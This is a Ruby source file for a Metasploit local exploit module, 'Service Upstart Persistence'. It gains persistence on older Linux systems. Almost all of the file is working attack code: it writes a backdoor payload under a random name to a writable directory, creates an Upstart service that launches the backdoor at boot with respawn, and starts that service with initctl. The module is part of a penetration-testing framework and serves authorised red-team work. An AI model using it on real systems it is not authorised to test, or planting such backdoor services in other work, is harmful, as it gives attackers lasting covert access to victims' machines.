##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Exploit::EXE # for generate_payload_exe
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Deprecated
  moved_from 'exploits/linux/local/service_persistence'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Service Upstart Persistence',
        'Description' => %q{
          This module will create a service on the box, and mark it for auto-restart.
          We need enough access to write service files and potentially restart services
          Targets:
          CentOS 6
          Fedora >= 9, < 15
          Ubuntu >= 9.10, <= 14.10
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die',
        ],
        'Platform' => ['unix', 'linux'],
        'Targets' => [
          [
            'Upstart', {
              runlevel: '2345'
            }
          ],
        ],
        'DefaultTarget' => 0,
        'Privileged' => true,
        'Arch' => [
          ARCH_CMD,
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
        'References' => [
          ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'],
          ['ATT&CK', Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS],
          ['URL', 'http://blog.terminal.com/getting-started-with-upstart/']
        ],
        'SessionTypes' => ['shell', 'meterpreter'],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        },
        'DisclosureDate' => '2006-08-24' # upstart release date
      )
    )

    register_options(
      [
        OptString.new('PAYLOAD_NAME', [false, 'Name of shell file to write']),
        OptString.new('SERVICE', [false, 'Name of service to create']),
        OptInt.new('RESTART_LIMIT', [false, 'Name of service to create', 3]),
        OptEnum.new('INIT_FOLDER', [false, 'Init folder location', 'auto', ['auto', 'init', 'init.d']])
      ]
    )
  end

  def init_folder
    if datastore['INIT_FOLDER'] == 'init' ||
       (
         datastore['INIT_FOLDER'] == 'auto' &&
         exists?('/etc/init')
       )
      return '/etc/init'
    end

    '/etc/init.d'
  end

  def check
    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
    return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
    return CheckCode::Safe("#{init_folder} isnt writable") unless writable?(init_folder)

    return CheckCode::Safe('Likely not an upstart based system') unless command_exists?('initctl')

    CheckCode::Appears("#{writable_dir} is writable and system is upstart based")
  end

  def install_persistence
    backdoor = write_shell(writable_dir)

    path = backdoor.split('/')[0...-1].join('/')
    file = backdoor.split('/')[-1]

    upstart(path, file, target.opts[:runlevel])
  end

  def write_shell(path)
    file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
    backdoor = "#{path}/#{file_name}"
    vprint_status("Writing backdoor to #{backdoor}")
    if payload.arch.first == 'cmd'
      write_file(backdoor, payload.encoded)
      chmod(backdoor, 0o711)
    else
      upload_and_chmodx backdoor, generate_payload_exe
    end
    @clean_up_rc << "rm #{backdoor}\n"

    fail_with(Failure::NoAccess, 'File not written, check permissions.') unless file_exist?(backdoor)

    backdoor
  end

  def upstart(backdoor_path, backdoor_file, runlevel)
    script = <<~EOF
      description "Start daemon at boot time"
      start on filesystem or runlevel [#{runlevel}]
      stop on shutdown
      # Ensure only one instance runs
      pre-start script
          if [ -f /var/run/#{backdoor_file}.pid ] && kill -0 $(cat /var/run/#{backdoor_file}.pid) 2>/dev/null; then
              echo "#{backdoor_file} is already running."
              exit 1
          fi
      end script
      script
          echo $$ > /var/run/#{backdoor_file}.pid
          exec #{backdoor_path}/#{backdoor_file}
      end script
      post-stop script
          rm -f /var/run/#{backdoor_file}.pid
          sleep 10
      end script
      respawn
      respawn limit #{datastore['RESTART_LIMIT']} 300
    EOF
    service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)
    service_name = "#{init_folder}/#{service_filename}.conf"
    vprint_status("Writing service: #{service_name}")
    write_file(service_name, script)

    fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name)

    @clean_up_rc << "rm #{service_name}"
    vprint_status('Starting service')
    cmd_exec("initctl start #{service_filename}")
  end
end